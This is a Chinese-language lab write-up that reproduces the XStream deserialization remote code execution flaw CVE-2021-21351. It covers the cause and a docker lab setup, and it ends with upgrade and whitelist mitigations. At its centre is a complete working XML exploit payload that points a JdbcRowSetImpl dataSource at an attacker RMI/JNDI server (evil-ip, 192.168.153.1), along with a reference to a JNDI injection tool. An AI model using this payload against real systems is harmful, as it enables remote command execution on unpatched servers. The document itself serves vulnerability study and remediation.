XStream 反序列化命令执行漏洞复现（CVE-2021-21351）

XStream 反序列化命令执行漏洞（CVE-2021-21351）

漏洞原理

XStream是一个轻量级、简单易用的开源Java类库，它主要用于将对象序列化成XML（JSON）或反序列化为对象。
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞，但是其 1.4.15 及之前版本黑名单存在缺陷，攻击者可利用javax.naming.ldap.Rdn$RdnEntry及javax.sql.rowset.BaseRowSet构造JNDI注入，进而执行任意命令。

环境搭建

docker-compose搭建漏洞环境


docker ps查看启动的容器

访问查看是否正常启动，如下则为正常启动

漏洞复现

1.bp抓包查看是否正常

2.使用JNDI注入工具，启动JNDI服务器，如下为基于SpringBoot漏洞利用工具的RMI地址：rmi://192.168.153.1:1099/sxsyfi
JNDI注入工具：https://github.com/welk1n/JNDI-Injection-exploit/

3.构造请求包内容如下，内容中的rmi://evil-ip:1099/example替换成上面生成的RMI地址：rmi://192.168.153.1:1099/sxsyfi

<sorted-set>
 <javax.naming.ldap.Rdn_-RdnEntry>

  <type>ysomap</type>
  <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
   <m__DTMXRTreeFrag>
     <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
      <m__size>-10086</m__size>
      <m__mgrDefault>
       <__overrideDefaultParser>false</__overrideDefaultParser>
       <m__incremental>false</m__incremental>
       <m__source__location>false</m__source__location>
       <m__dtms>
        <null/>
       </m__dtms>
       <m__defaultHandler/>
      </m__mgrDefault>
      <m__shouldStripWS>false</m__shouldStripWS>
      <m__indexing>false</m__indexing>
      <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
       <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
        <javax.sql.rowset.BaseRowSet>
          <default>
          <concurrency>1008</concurrency>
          <escapeProcessing>true</escapeProcessing>
          <fetchDir>1000</fetchDir>
          <fetchSize>0</fetchSize>
          <isolation>2</isolation>
          <maxFieldSize>0</maxFieldSize>
          <maxRows>0</maxRows>
          <queryTimeout>0</queryTimeout>
          <readOnly>true</readOnly>
          <rowSetType>1004</rowSetType>
          <showDeleted>false</showDeleted>
          <dataSource>rmi://evil-ip:1099/example</dataSource>
          <listeners/>
          <params/>
         </default>
        </javax.sql.rowset.BaseRowSet>
        <com.sun.rowset.JdbcRowSetImpl>
         <default/>
        </com.sun.rowset.JdbcRowSetImpl>
       </fPullParserConfig>
       <fConfigSetInput>
        <class>com.sun.rowset.JdbcRowSetImpl</class>
        <name>setAutoCommit</name>
        <parameter-types>
         <class>boolean</class>
        </parameter-types>
       </fConfigSetInput>
       <fConfigParse reference='../fConfigSetInput'/>
       <fParseInProgress>false</fParseInProgress>
      </m__incrementalSAXSource>
      <m__walker>
       <nextIsRaw>false</nextIsRaw>
      </m__walker>
      <m__endDocumentOccured>false</m__endDocumentOccured>
      <m__idAttributes/>
      <m__textPendingStart>-1</m__textPendingStart>
      <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
      <m__pastFirstElement>false</m__pastFirstElement>
     </m__dtm>
     <m__dtmIdentity>1</m__dtmIdentity>
   </m__DTMXRTreeFrag>
   <m__dtmRoot>1</m__dtmRoot>
   <m__allowRelease>false</m__allowRelease>
  </value>
 </javax.naming.ldap.Rdn_-RdnEntry>
 <javax.naming.ldap.Rdn_-RdnEntry>
  <type>ysomap</type>
  <value class='com.sun.org.apache.xpath.internal.objects.XString'>
   <m__obj class='string'>test</m__obj>
  </value>
 </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

构造请求包，并将请求包中的GET改为POST，并发送请求

目标home目录下出现我们创建的文件CVE-SUCCESS，漏洞复现成功

修复建议

升级Xstream到最新版本

临时缓解措施

配置XStream的安全框架为允许的类型使用白名单
XStream xstream = new XStream();
//清除现有权限并启动白名单
xstream.addPermission(NoTypePermission.NONE);
//允许一些基础类
xstream.addPermission(NullPermission.NULL);
xstream.addPermission(PrimitiveTypePermission.PRIMITIVES);
xstream.allowTypeHierarchy(Collection.class);
//允许来自同一包的任何类型
xstream.allowTypesByWildcard(new String[] {
Blog.class.getPackage().getName()+“.*”
});
// 允许自定义的业务类
xstream.allowTypesHierarchy(Yewulei.class);
Yewulei yw = (Yewulei)xstream.fromXML(new File(“/tmp/yewu.xml”));